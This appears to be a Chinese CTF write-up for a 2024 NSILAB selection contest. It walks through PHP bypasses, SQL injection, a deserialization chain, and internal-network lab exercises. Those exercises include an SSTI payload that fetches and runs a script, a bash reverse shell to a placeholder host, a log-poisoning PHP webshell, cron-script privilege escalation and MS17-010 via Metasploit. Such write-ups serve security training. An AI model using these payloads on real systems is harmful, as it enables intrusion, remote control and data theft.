LOADING

加载过慢请开启缓存 浏览器默认开启

2024 NSILAB选拔赛 Web赛道 WriteUp题解

2024/11/23 题解 CTF WriteUp
字数统计: 3k字 阅读时长: 约14分 本文阅读量:

Web

signin

<?php
highlight_file(__FILE__);
if ($_GET['nsilab']==2024 && $_POST['challenge']=='web') {
    echo "Welcome to NSILAB";
    $cmd = $_COOKIE['cmd'];
    if ( $cmd === "phpinfo()") {
        echo "flag在哪里?";
        eval($cmd.";");
    }
}
?>

签到题,payload:

GET: nsilab=2024
POST: challenge=web
COOKIE: cmd=phpinfo()

然后在phpinfo里查找flag即可。

ezphp

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_POST['c'];
$d = $_POST['d'];
$file = $_POST['file'];

if ($a !== $b && md5($a) === md5($b)) {
    if ($c !== 114514 && intval($c) == 114514) {
        if (!preg_match('/nsilab/',$d) && strtolower($d) === "nsilab") {
            if ($file != "/flag"){
                include($file);
            }
        } else{
            die ("hacker!!!");
        }
    } else {
        die("hacker!!");
    }

} else {
    die("hacker!");
}
?>

第一个if用数组绕过md5函数,第二个if传入114514a来使得intval结果为114514,第3个if传入NSILAB,因为前面的正则匹配大小写严格,所以后面的转小写就可以=nsilab了,第四个if用伪协议读取即可。

payload:

GET: a[]=1&b[]=2
POST: c=114514a&d=NSILAB&file=php://filter/read=convert.base64-encode/resource=/flag

然后解码Base64即可。

leak

根据题目说明猜测是git泄露,通过GitHack下载下来源码之后发现index.php里只有一句 phpinfo();,后续又尝试了www.zip等泄露的可能,均无果。

在题目更新Hint后发现的确是git泄露,但是需要查看git log。

查看后发现的确有两条提交记录。

使用 git diff HEAD^ 还原仓库可以找到:

<?php
# ZWNobyAi55yL55yLY21kLnBocOWQpyI7
phpinfo();
?>

解码Base64提示查看cmd.php:

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里使用hexbin即可绕过正则:

GET: c=eval(hex2bin(%2273797374656d2822636174202f662a22293b%22));
# system("cat /f*");

sqlhub

根据题目可知是SQL注入,且查询的内容需要经过Base64编码,开始尝试了 1' order by 1 # 发现提示no result,但是只输入1是有结果的。

经过几次测试发现不需要用引号封闭前面的SQL语句,所以先用order by判断列数:

1 order by 1 #

当测试到3时提示no result,说明有两列。

接下来就是经典的爆库爆表爆字段读数据了:

1 union select 1,group_concat(schema_name) from information_schema.schemata #
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf' #
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #
1 union select 1,data from ctf.flag #

即可拿到flag。

ezunser

<?php
highlight_file(__FILE__);

class NSILAB
{
    private $leader;
    private $slogan;
    public function __call($name, $arguments)
    {
        if ($this->slogan == "火之意志,生生不息") {
            echo file_get_contents($this->leader);
        }
    }
}

class CTFer
{
    private $id;
    private $major;

    private $language;

    public function __wakeup()
    {
        echo "ID: " . $this->id . "\n";
        if (strlen($this->id) > 10) {
            $this->major->stack = $this->language;
        } else {
            $this->major = "pwn";
        }
    }

}

class Pwn
{
    private $heap;

    function __toString()
    {
        $this->heap->pwned();
    }
}

class Web
{
    private $php;
    private $java;

    private $code;

    public function __set($name, $value)
    {
        if ($value == "php") {
            $this->debug();
        }
    }

    function debug()
    {
        if (is_numeric($this->php) && is_numeric($this->java)) {
            $a = $this->php;
            $b = $this->java;
            if (substr(md5($a), 0, 4) == "ae86" && substr(sha1($b), -4) == "9982") {
                if (preg_match("/eval|system|passthru|exec/", $this->code)) {
                    die("No hacking allowed!");
                }
            }
        }
    }
}

$c = $_GET['c'];
unserialize($c);
?>

触发反序列化的方法是CTFer类中的__wakeup,而注入点是NSILAB类中的__call方法。

能够调用__call方法的是Pwn类中的__toString方法,而能够使得Pwn类被转为字符串的是在Web类的debug方法,这里的正则表达式匹配的第二个参数会将传入的东西转为字符串。

为了调用这个正则表达式匹配,需要得到两个数字,一个md5值以ae86开头,一个sha1值以9982结尾。
exp:

<?php
$i = 0;
$k = 0;
while (true) {
    if (substr(md5($a), 0, 4) == "ae86") {
        echo "md5:" . $i;
        k += 1;
    }
    if (substr(sha1($i), -4) == "9982") {
        echo "sha1:" . $i;
        k += 1;
    }
    $i += 1;
    if ($i >= 1919810 || k >= 2) {
        die();
    }
}
?>

最后可以找到php=2369,java=26453。

而调用这个debug方法的是该类的__set方法,刚好CTFer类的__wakeup就是在进行赋值操作。

所以链子就挖完了:

CTFer::__wakeup > Web::__set > Web::debug > Pwn::__toString > NSILAB::__call

根据题目的其他要求填好变量,最后的payload:

<?php
class NSILAB {
    private $leader;
    private $slogan;
    function __construct($leader, $slogan) {
        $this->leader = $leader;
        $this->slogan = $slogan;
    }
}
class CTFer {
    private $id;
    private $major;
    private $language;
    function __construct($id, $major, $language) {
        $this->id = $id;
        $this->major = $major;
        $this->language = $language;
    }
}
class Pwn {
    private $heap;
    function __construct($heap) {
        $this->heap = $heap;
    }
}
class Web {
    private $php;
    private $java;
    private $code;
    function __construct($php, $java, $code) {
        $this->php = $php;
        $this->java = $java;
        $this->code = $code;
    }
}

echo urlencode(serialize(new CTFer("aaaaaaaaaaa", new Web(177158, 2369, new Pwn(new NSILAB("php://filter/read=convert.base64-encode/resource=/flag", "火之意志,生生不息"))), "php")));
# O%3A5%3A%22CTFer%22%3A3%3A%7Bs%3A9%3A%22%00CTFer%00id%22%3Bs%3A11%3A%22aaaaaaaaaaa%22%3Bs%3A12%3A%22%00CTFer%00major%22%3BO%3A3%3A%22Web%22%3A3%3A%7Bs%3A8%3A%22%00Web%00php%22%3Bi%3A177158%3Bs%3A9%3A%22%00Web%00java%22%3Bi%3A2369%3Bs%3A9%3A%22%00Web%00code%22%3BO%3A3%3A%22Pwn%22%3A1%3A%7Bs%3A9%3A%22%00Pwn%00heap%22%3BO%3A6%3A%22NSILAB%22%3A2%3A%7Bs%3A14%3A%22%00NSILAB%00leader%22%3Bs%3A54%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fflag%22%3Bs%3A14%3A%22%00NSILAB%00slogan%22%3Bs%3A27%3A%22%E7%81%AB%E4%B9%8B%E6%84%8F%E5%BF%97%EF%BC%8C%E7%94%9F%E7%94%9F%E4%B8%8D%E6%81%AF%22%3B%7D%7D%7Ds%3A15%3A%22%00CTFer%00language%22%3Bs%3A3%3A%22php%22%3B%7D

GET方法传入c即可得到flag。

ezgame

alt text

根据题目提示查看index.html,发现是个打砖块小游戏,不难猜到获得flag的方法就在静态的JavaScript脚本里。

简单查找就可以找到游戏通关的方法在game.js内:

// 游戏通关
finalGame () {
  // 清除定时器
  clearInterval(this.timer)
  // 清除画布
  this.context.clearRect(0, 0, this.canvas.width, this.canvas.height)
  // 绘制背景图
  this.drawBg()
  // 绘制提示文字
  this.context.font = '48px Microsoft YaHei'
  this.context.fillStyle = '#fff'
  this.context.fillText('恭喜通关全部关卡', 308, 226)
  eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('0(\'1=\');',2,2,'alert|ZmxhZ3t3b3chISEhX3lvdV9yZWFsbHlfa25vd19qc30'.split('|'),0,{}))  
}

把最下面那一坨丢进控制台执行即可得到flag。

内网渗透-Linux1

注:根据提示可知这道题的靶机在内网的IP是10.10.10.100,是该网络下唯一可以出网的靶机。

题目本身就是一道没有任何过滤的SSTI,直接把以下payload用GET传入name就能一把梭了:

{{lipsum.__globals__.os.popen('cat /root/root.txt').read()}}

但是这道题同时是后续题目的入口靶机,所以需要想办法get shell。

不知为何尝试直接反弹shell会爆500,最后用 curl | bash 才成功拿到shell:

{{lipsum.__globals__.os.popen('curl http://ip/a.txt | bash').read()}}

a.txt内容:

bash -c "bash -i >& /dev/tcp/ip/port 0>&1"

拿到shell了就可以用以下方法把所需的文件传进去了:

cd /tmp
curl http://ip/filename > filename

将frpc(内网穿透工具)传上去,其配置文件如下:

[common]
server_addr = ip
server_port = port

[plugin_http]
type = tcp
remote_port = 8000
plugin = http_proxy
plugin_user = admin
plugin_passwd = 123456

服务端的frps配置文件如下:

bindPort = 7000

接下来就可以把ip:8000作为代理服务器,然后就可以访问到内网了。

内网渗透-Linux2

注:根据提示可知这道题的靶机在内网的IP是10.10.10.101,入口点是http协议。

挂上HTTP代理后访问http://10.10.10.101:

alt text

点击图片发现传入路径可控,同时文件名的include.php提示这是文件包含题,尝试读/etc/passwd:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
nginx:x:997:995:Nginx web server:/var/lib/nginx:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
catcat:x:1000:1000::/home/catcat:/bin/bash

成功了,之后尝试用php://伪协议写一句话木马,失败,猜测/var/www/html是可读的。

继续考虑使用日志包含,查看响应头可知Web服务是Nginx,而我们可以控制日志的内容是User-Agent。

修改User-Agent为:

AAA<?php eval($_POST[1]); ?>BBB

然后尝试包含/var/log/nginx/access.log,payload为:

GET: file=/var/log/nginx/access.log
POST: 1=phpinfo();

发现成功执行:

alt text

接下来用蚁剑连上即可。

但是根据提示需要提权,尝试了多种提权手段,但是不是二进制文件不能执行,就是连gcc都没有。

在后续提示了以下内容后才解决该题:

  1. 内网渗透的信息搜集,有时候需要站在社工角度思考,我能读到一些“人工”配置的文件,那么这些文件会与哪些服务有关联呢?
  2. 服务器有自动备份服务,那么什么工具能探测到这种计划任务呢?

alt text

查看/var/www/html目录可以找到config.php:

<?php

class db{

    private $db_name = "cats";
    private $db_username = "catcat";
    private $db_password = 'wannatobeacat';

    function connect(){
        //TODO: 连接数据库
    }
    
}

?>

再联想到之前读/etc/passwd就不难猜到catcat是一个具有更高权限的账号。

用挂上代理的ssh连上去:

alt text

再根据提示,就是要用pspy查看有没有间隔时间较短的crontab计划任务了,最后可以找到:

alt text

UID是0,也就是root用户,同时/home/catcat/backup.sh这个文件catcat用户具有写权限,所以只需要修改backup.sh然后等待它执行就可以读到/root/root.txt了。

修改后的backup.sh:

#!/bin/bash
cat /root/root.txt > /tmp/a.txt
rm -rf /tmp/backup.tar.gz
tar czvf /tmp/backup.tar.gz /var/www/html/

继续使用pspy监控进程,等待其再次执行后cat /tmp/a.txt即可。

内网渗透-Windows

看题目描述就知道是大名鼎鼎的永恒之蓝(MS17-010)了。

使用msf查找ms17-010:

alt text

经过测试编号为10的payload可用。

show options后将必须的信息填进去,如靶机的IP地址。

由于靶机不出网,反向tcp肯定是不能用了,这里使用bind:

set payload windows/meterpreter/bind_tcp

然后就进去了…

查找root.txt:

search -f *root.txt
# Found 1 result...
# =================
#
# Path                                     Size (bytes)  Modified (UTC)
# ----                                     ------------  --------------
# c:\Users\Administrator\Desktop\root.txt  23            2024-11-19 04:31:54 -0500

读取即可得到flag。

Misc

签到-一串神秘编码

Base64解码后可以看到一些看不出来是什么的字符。

最后调整文本框大小就能找到flag了。

坏了的沙威玛

根据提示是要查看音频的频谱或者波形。

使用Audacidy打开并查看频谱图即可得到flag:

alt text

ezforensics

python vol.py -f 1.dmp windows.info # 获得系统时间为2024-10-29
python vol.py -f 1.dmp windows.netscan # 获得本机IP为192.168.26.129
python vol.py -f 1.dmp windows.envars # 获得计算机名为ZHUYUN_S_PC
python vol.py -f 1.dmp windows.pstree # 获得制作内存转储的软件名称为DumpIt

所以flag应该为 nsilab{ZHUYUN_S_PC_192.168.26.129_2024-10-29_DumpIt}

但是不知道为什么提交上去是错的…

就这样吧(´。_。`)

赛后

出题人填错flag了,呜啊啊啊啊!